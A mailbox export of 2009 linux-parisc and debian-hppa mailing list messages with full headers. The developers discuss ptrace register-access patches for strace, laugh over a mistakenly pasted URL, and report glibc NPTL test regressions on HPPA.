Xref: news.gmane.org gmane.linux.debian.ports.hppa:5841 gmane.linux.ports.parisc:1923
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1923>

On Sat, Jul 11, 2009 at 4:46 PM, Kyle McMartin<kyle@mcmartin.ca> wrote:
> On Sat, Jul 11, 2009 at 10:17:14AM -0400, Carlos O'Donell wrote:
>> I've been investigating the crashes, but because of problems with gdb
>> and strace I've had to take it slow. Kyle, I have your recent strace
>> patches in my queue to test. Thanks for that.
>>
>
> Which ones? It would be good if some heavy debugger users could test the
> changes in the tracehook branch with coredumps... I'll try to do a build
> of strace using PTRACE_{GET,SET}REGS instead of PEEK & POKE for extra
> testing there as well, but it seems to be working well enough for me.

If I understand correctly you added PTRACE_GETREGS and PTRACE_SETREGS
with this patch:
http://permalink.gmane.org/gmane.linux.ports.parisc/1882

Then you posted a patch to strace to use PTRACE_GETREGS and
PTRACE_SETREGS with this patch:
http://www.dailykos.com/storyonly/2009/7/10/752179/-What-staring-at-an-ass-really-looks-like

Is my understanding correct? I would need a kernel patch, an strace
patch, and then strace would be using PTRACE_GETREGS and
PTRACE_SETREGS?

How is the debugger involved in this?

Cheers,
Carlos.



From - Thu Nov 08 21:04:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: Status update on NPTL
Date: Sat, 11 Jul 2009 17:08:16 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <119aab440907111408m3b6da3acue53d70d24aab6701@mail.gmail.com>
References: <119aab440907110717q1c55d329jbdf17924e0929804@mail.gmail.com>
	 <20090711204625.GA31925@bombadil.infradead.org>
	 <119aab440907111406g6ac13645h6c9fc2174cc19ad2@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1247346521 20110 80.91.229.12 (11 Jul 2009 21:08:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 11 Jul 2009 21:08:41 +0000 (UTC)
Cc: Debian HPPA Port List <debian-hppa@lists.debian.org>, 
	linux-parisc <linux-parisc@vger.kernel.org>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Sat Jul 11 23:08:34 2009
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MPjo6-0003Gz-HX
	for debian-hppa@m.gmane.org; Sat, 11 Jul 2009 23:08:30 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id 3A7144CA225; Sat, 11 Jul 2009 21:08:30 +0000 (UTC)
Old-Return-Path: <patofiero@gmail.com>
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-4.2 required=4.0 tests=FOURLA,LDO_WHITELIST,
	MURPHY_DRUGS_REL8,SARE_MSGID_LONG40 autolearn=failed version=3.2.5
X-Original-To: lists-debian-hppa@liszt.debian.org
Delivered-To: lists-debian-hppa@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id 4BCFD4CA221
	for <lists-debian-hppa@liszt.debian.org>; Sat, 11 Jul 2009 21:08:23 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-6.243 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, LDO_WHITELIST=-5,
	MURPHY_DRUGS_REL8=0.02, SARE_MSGID_LONG40=0.637] autolearn=ham
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id DR8QHLBCNg0R for <lists-debian-hppa@liszt.debian.org>;
	Sat, 11 Jul 2009 21:08:18 +0000 (UTC)
X-policyd-weight: using cached result; rate:hard: -6.9
Original-Received: from mail-ew0-f221.google.com (mail-ew0-f221.google.com [209.85.219.221])
	by liszt.debian.org (Postfix) with ESMTP id 77A8D4CA21C
	for <debian-hppa@lists.debian.org>; Sat, 11 Jul 2009 21:08:18 +0000 (UTC)
Original-Received: by ewy21 with SMTP id 21so842861ewy.30
        for <debian-hppa@lists.debian.org>; Sat, 11 Jul 2009 14:08:16 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=qiIw7Mm2ftUmrjtGAeHt5YBIvvmr+WEu4lwf7XstHRg=;
        b=NxLyzWp6XF4TRV8aeH+HPa8BNiIjIn4XcB3BNXrGwAnX5/g70m0g6Op270pABwPbv6
         nz2hBEiBq1WVVYldfsJt3M8phTFRrxnhkMRIfNWFMmyZdcAPNgwgyLdz6PC5uALhQmj4
         DaMCA71YKiZ8YxZMYQjqP49+kAMJL6eMn3Zn8=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=VKLDYV7SBxzPZ2Nh+vkSQqXOEicqlKkvFPcqkpSu391WhVgHEafwlAgTcKGKOzIpfy
         ZrfcENPD92GB77BhsRD+zKvy/q+fG2Di0e3ku27iKldpeoLKUBrAxvb3++S9SsNahQ2h
         ocMVyD1S6pwmgP+H2DruhvIeOJzSZOBSx1SIw=
Original-Sender: patofiero@gmail.com
Original-Received: by 10.216.70.204 with SMTP id p54mr917412wed.87.1247346496060; Sat, 
	11 Jul 2009 14:08:16 -0700 (PDT)
In-Reply-To: <119aab440907111406g6ac13645h6c9fc2174cc19ad2@mail.gmail.com>
X-Google-Sender-Auth: e9c5cc830d0ea494
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <tgDeTG-rWHE.A.tAH.O9PWKB@liszt>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/6839
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sat, 11 Jul 2009 21:08:30 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:5842 gmane.linux.ports.parisc:1924
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1924>

On Sat, Jul 11, 2009 at 5:06 PM, Carlos O'Donell<carlos@systemhalted.org> wrote:
> On Sat, Jul 11, 2009 at 4:46 PM, Kyle McMartin<kyle@mcmartin.ca> wrote:
>> On Sat, Jul 11, 2009 at 10:17:14AM -0400, Carlos O'Donell wrote:
>>> I've been investigating the crashes, but because of problems with gdb
>>> and strace I've had to take it slow. Kyle, I have your recent strace
>>> patches in my queue to test. Thanks for that.
>>>
>>
>> Which ones? It would be good if some heavy debugger users could test the
>> changes in the tracehook branch with coredumps... I'll try to do a build
>> of strace using PTRACE_{GET,SET}REGS instead of PEEK & POKE for extra
>> testing there as well, but it seems to be working well enough for me.
>
> If I understand correctly you added PTRACE_GETREGS and PTRACE_SETREGS
> with this patch:
> http://permalink.gmane.org/gmane.linux.ports.parisc/1882
>
> Then you posted a patch to strace to use PTRACE_GETREGS and
> PTRACE_SETREGS with this patch:
> http://www.dailykos.com/storyonly/2009/7/10/752179/-What-staring-at-an-ass-really-looks-like

Sorry, the corrected URL is this:
http://permalink.gmane.org/gmane.linux.ports.parisc/1883

Cheers,
Carlos.



From - Thu Nov 08 21:04:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Status update on NPTL
Date: Sat, 11 Jul 2009 17:12:12 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <20090711211211.GB31925@bombadil.infradead.org>
References: <119aab440907110717q1c55d329jbdf17924e0929804@mail.gmail.com> <20090711204625.GA31925@bombadil.infradead.org> <119aab440907111406g6ac13645h6c9fc2174cc19ad2@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1247346746 20567 80.91.229.12 (11 Jul 2009 21:12:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 11 Jul 2009 21:12:26 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	Debian HPPA Port List <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 11 23:12:19 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MPjrm-0004TG-BR
	for glpp-linux-parisc@gmane.org; Sat, 11 Jul 2009 23:12:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754033AbZGKVMR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 11 Jul 2009 17:12:17 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754266AbZGKVMQ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 11 Jul 2009 17:12:16 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:32951 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754033AbZGKVMQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 11 Jul 2009 17:12:16 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MPjrg-00080r-4P; Sat, 11 Jul 2009 21:12:12 +0000
Content-Disposition: inline
In-Reply-To: <119aab440907111406g6ac13645h6c9fc2174cc19ad2@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1925 gmane.linux.debian.ports.hppa:5843
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1925>

On Sat, Jul 11, 2009 at 05:06:52PM -0400, Carlos O'Donell wrote:
> On Sat, Jul 11, 2009 at 4:46 PM, Kyle McMartin<kyle@mcmartin.ca> wrote:
> > On Sat, Jul 11, 2009 at 10:17:14AM -0400, Carlos O'Donell wrote:
> >> I've been investigating the crashes, but because of problems with gdb
> >> and strace I've had to take it slow. Kyle, I have your recent strace
> >> patches in my queue to test. Thanks for that.
> >>
> >
> > Which ones? It would be good if some heavy debugger users could test the
> > changes in the tracehook branch with coredumps... I'll try to do a build
> > of strace using PTRACE_{GET,SET}REGS instead of PEEK & POKE for extra
> > testing there as well, but it seems to be working well enough for me.
> 
> If I understand correctly you added PTRACE_GETREGS and PTRACE_SETREGS
> with this patch:
> http://permalink.gmane.org/gmane.linux.ports.parisc/1882
> 
> Then you posted a patch to strace to use PTRACE_GETREGS and
> PTRACE_SETREGS with this patch:
> http://www.dailykos.com/storyonly/2009/7/10/752179/-What-staring-at-an-ass-really-looks-like
> 
> Is my understanding correct? I would need a kernel patch, an strace
> patch, and then strace would be using PTRACE_GETREGS and
> PTRACE_SETREGS?
> 
> How is the debugger involved in this?
> 

I haven't figured out how to make gdb use getregs/setregs yet. But if
coredumps continue to work, then the backend regset code is working.

Yeah, those patches should enable it for you. I forgot I posted the
strace ones.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Status update on NPTL
Date: Sat, 11 Jul 2009 16:45:05 -0500
Lines: 36
Approved: news@gmane.org
Message-ID: <1247348705.3865.50.camel@mulgrave.site>
References: <119aab440907110717q1c55d329jbdf17924e0929804@mail.gmail.com>
	 <20090711204625.GA31925@bombadil.infradead.org>
	 <119aab440907111406g6ac13645h6c9fc2174cc19ad2@mail.gmail.com>
	 <119aab440907111408m3b6da3acue53d70d24aab6701@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1247348726 24783 80.91.229.12 (11 Jul 2009 21:45:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 11 Jul 2009 21:45:26 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	Debian HPPA Port List <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 11 23:45:18 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MPkNd-0005ou-MK
	for glpp-linux-parisc@gmane.org; Sat, 11 Jul 2009 23:45:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751245AbZGKVpK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 11 Jul 2009 17:45:10 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751250AbZGKVpK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 11 Jul 2009 17:45:10 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:59852 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751245AbZGKVpJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 11 Jul 2009 17:45:09 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 5995C8EE104;
	Sat, 11 Jul 2009 14:45:09 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id xwngJNdayoA2; Sat, 11 Jul 2009 14:45:09 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id BF8888EE00E;
	Sat, 11 Jul 2009 14:45:08 -0700 (PDT)
In-Reply-To: <119aab440907111408m3b6da3acue53d70d24aab6701@mail.gmail.com>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1926 gmane.linux.debian.ports.hppa:5844
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1926>

On Sat, 2009-07-11 at 17:08 -0400, Carlos O'Donell wrote:
> On Sat, Jul 11, 2009 at 5:06 PM, Carlos O'Donell<carlos@systemhalted.org> wrote:
> > On Sat, Jul 11, 2009 at 4:46 PM, Kyle McMartin<kyle@mcmartin.ca> wrote:
> >> On Sat, Jul 11, 2009 at 10:17:14AM -0400, Carlos O'Donell wrote:
> >>> I've been investigating the crashes, but because of problems with gdb
> >>> and strace I've had to take it slow. Kyle, I have your recent strace
> >>> patches in my queue to test. Thanks for that.
> >>>
> >>
> >> Which ones? It would be good if some heavy debugger users could test the
> >> changes in the tracehook branch with coredumps... I'll try to do a build
> >> of strace using PTRACE_{GET,SET}REGS instead of PEEK & POKE for extra
> >> testing there as well, but it seems to be working well enough for me.
> >
> > If I understand correctly you added PTRACE_GETREGS and PTRACE_SETREGS
> > with this patch:
> > http://permalink.gmane.org/gmane.linux.ports.parisc/1882
> >
> > Then you posted a patch to strace to use PTRACE_GETREGS and
> > PTRACE_SETREGS with this patch:
> > http://www.dailykos.com/storyonly/2009/7/10/752179/-What-staring-at-an-ass-really-looks-like
> 
> Sorry, the corrected URL is this:
> http://permalink.gmane.org/gmane.linux.ports.parisc/1883

Don't apologise ... we're all intrigued by the interesting glimpse into
what you do in your other spare time ...

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Status update on NPTL
Date: Sat, 11 Jul 2009 20:03:55 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <119aab440907111703j1109f0cdo86194e56ecb57814@mail.gmail.com>
References: <119aab440907110717q1c55d329jbdf17924e0929804@mail.gmail.com>
	 <20090711204625.GA31925@bombadil.infradead.org>
	 <119aab440907111406g6ac13645h6c9fc2174cc19ad2@mail.gmail.com>
	 <119aab440907111408m3b6da3acue53d70d24aab6701@mail.gmail.com>
	 <1247348705.3865.50.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1247357048 8288 80.91.229.12 (12 Jul 2009 00:04:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 12 Jul 2009 00:04:08 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	Debian HPPA Port List <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Matthew Wilcox <matthew@wil.cx>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 12 02:04:01 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MPmXu-0002MO-HD
	for glpp-linux-parisc@gmane.org; Sun, 12 Jul 2009 02:03:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751692AbZGLAD5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 11 Jul 2009 20:03:57 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751734AbZGLAD5
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 11 Jul 2009 20:03:57 -0400
Original-Received: from mail-ew0-f226.google.com ([209.85.219.226]:42499 "EHLO
	mail-ew0-f226.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751676AbZGLAD4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 11 Jul 2009 20:03:56 -0400
Original-Received: by ewy26 with SMTP id 26so1865192ewy.37
        for <linux-parisc@vger.kernel.org>; Sat, 11 Jul 2009 17:03:55 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=Q232bXexfBdnjLoz5nOS5jpL+TeJ8ByAj2iFcp6deb8=;
        b=vTbVbqhrE0sH2p2wy6VTo+lIYBztusNVDjspKFXoYdKjBV3o15AuYsegW6hUeT3VNX
         R5cSu+jqIkWA0cGHTjwVDlX7AGTauf10kU6/Le1Be1XXflVTquRtVwXcDH/NO7PulHVq
         qA/Dy4awdKEZqnRyliNFW6/JRky5vgdlpieT0=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=Cl37B5MlDEm7OoixgIGouHNnqmIb/Yeq0yBuyuPCfq/m+OLBzH7agoYPgfuWJ8hZKL
         AvL45y5Vwnk1GpjFV/kPTk0SHBuIuGvq5wDKPMQ6B//eka3EOISnrCVYOQMAgxf/aeJW
         36wkTuT2hZLjCjMpy3y89ytQv+suoLJDijZXI=
Original-Received: by 10.216.36.84 with SMTP id v62mr945957wea.128.1247357035343; Sat, 
	11 Jul 2009 17:03:55 -0700 (PDT)
In-Reply-To: <1247348705.3865.50.camel@mulgrave.site>
X-Google-Sender-Auth: 5b3290cf0b38850d
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1927 gmane.linux.debian.ports.hppa:5845
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1927>

On Sat, Jul 11, 2009 at 5:45 PM, James
Bottomley<James.Bottomley@hansenpartnership.com> wrote:
>> > Then you posted a patch to strace to use PTRACE_GETREGS and
>> > PTRACE_SETREGS with this patch:
>> > http://www.dailykos.com/storyonly/2009/7/10/752179/-What-staring-at-an-ass-really-looks-like
>>
>> Sorry, the corrected URL is this:
>> http://permalink.gmane.org/gmane.linux.ports.parisc/1883
>
> Don't apologise ... we're all intrigued by the interesting glimpse into
> what you do in your other spare time ...

... surfing #parisc on irc.oftc.net :-)

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:04:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Sun, 12 Jul 2009 14:30:54 +0200
Lines: 60
Approved: news@gmane.org
Message-ID: <20090712123054.GB31207@hall.aurel32.net>
References: <20090602140734.GC26721@mx0.halon.org.uk> <20090606183600.GA425@lackof.org> <4A31FA76.20103@debian.org> <20090615173102.GC2690@lackof.org> <20090616062531.GA17957@xanadu.blop.info> <4A37EDB5.2020400@gmx.de> <20090616191317.GG25535@hall.aurel32.net> <119aab440906211555m116af57ekde6a9d75eae59a01@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1247401875 21031 80.91.229.12 (12 Jul 2009 12:31:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 12 Jul 2009 12:31:15 +0000 (UTC)
Cc: Lucas Nussbaum <lucas@lucas-nussbaum.net>,
	Helge Deller <deller@gmx.de>,
	Grant Grundler <grundler@parisc-linux.org>,
	HPPA porters <debian-hppa@lists.debian.org>,
	Debian Release <debian-release@lists.debian.org>,
	linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 12 14:31:07 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MPyCw-0004uA-3d
	for glpp-linux-parisc@gmane.org; Sun, 12 Jul 2009 14:31:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751602AbZGLMbB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 Jul 2009 08:31:01 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751628AbZGLMbB
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 12 Jul 2009 08:31:01 -0400
Original-Received: from hall.aurel32.net ([88.191.82.174]:38463 "EHLO hall.aurel32.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751602AbZGLMbA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 Jul 2009 08:31:00 -0400
Original-Received: from aurel32 by hall.aurel32.net with local (Exim 4.69)
	(envelope-from <aurelien@aurel32.net>)
	id 1MPyCk-00005v-AA; Sun, 12 Jul 2009 14:30:54 +0200
Content-Disposition: inline
In-Reply-To: <119aab440906211555m116af57ekde6a9d75eae59a01@mail.gmail.com>
X-Mailer: Mutt 1.5.18 (2008-05-17)
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1929 gmane.linux.debian.ports.hppa:5846 gmane.linux.debian.devel.release:31120
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1929>

On Sun, Jun 21, 2009 at 06:55:21PM -0400, Carlos O'Donell wrote:
> On Tue, Jun 16, 2009 at 3:13 PM, Aurelien Jarno<aurelien@aurel32.net> wrote:
> > On Tue, Jun 16, 2009 at 09:08:37PM +0200, Helge Deller wrote:
> >> On 06/16/2009 08:25 AM, Lucas Nussbaum wrote:
> >>> On 15/06/09 at 11:31 -0600, Grant Grundler wrote:
> >>> PS: if you want an HPPA-specific issue to play with,
> >>> http://experimental.debian.net/fetch.php?&pkg=ruby1.9&ver=1.9.0.1-5&arch=hppa&stamp=1213563978&file=log&as=raw
> >>> might be a good candidate.
> >>
> >> In reality it's not (any longer) a hppa specific bug. It's a bug in ruby.
> >> Ruby just relies on NPTL specific behaviour of threads and as such plays mad on LinuxThreads, which we still have active on hppa.
> >> The good thing is, that the NPTL switch-over was started by Carlos, so I expect that this should be fixed when NPTL hits unstable...
> >>
> >
> > BTW, Carlos, could you please send me the latest version of your
> > patches, so that we can actually do the switch with version 2.10?
> >
> 
> The latest patches are now up.
> 
> Core glibc patch:
> http://www.parisc-linux.org/~carlos/2009-06-20-glibc-hppa-nptl.diff
> 
> Ports glibc patch:
> http://www.parisc-linux.org/~carlos/2009-06-20-glibc-ports-hppa-nptl.diff
> 
> No regressions in the testsuite for hppa-linux-gnu.
> 

I have just included these patches in the eglibc-2.10 branch of our SVN,
though currently the linuxthreads version is still built by default.

I got the following regressions in the NPTL build compared to the 
linuxthreads build:
| Encountered regressions that don't match expected failures:
| tst-cancelx20.out, Error 1
| tst-cancelx21.out, Error 1
| tst-cancelx4.out, Error 1
| tst-cancelx5.out, Error 1
| tst-cleanupx4.out, Error 1
| tst-cputimer1.out, Error 1
| tst-cputimer2.out, Error 1
| tst-cputimer3.out, Error 1
| tst-mqueue3.out, Error 1
| tststatic2.out, Error 1
| tststatic.out, Error 1
| tst-timer4.out, Error 1
| tst-timer5.out, Error 1
| tst-tls9-static.out, Error 1

Is it something expected?

-- 
Aurelien Jarno	                        GPG: 1024D/F1BCDB73
aurelien@aurel32.net                 http://www.aurel32.net
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Sun, 12 Jul 2009 10:52:08 -0400
Lines: 46
Approved: news@gmane.org
Message-ID: <119aab440907120752m43ae8a10ld79cf7eac50ad78b@mail.gmail.com>
References: <20090602140734.GC26721@mx0.halon.org.uk>
	 <20090606183600.GA425@lackof.org> <4A31FA76.20103@debian.org>
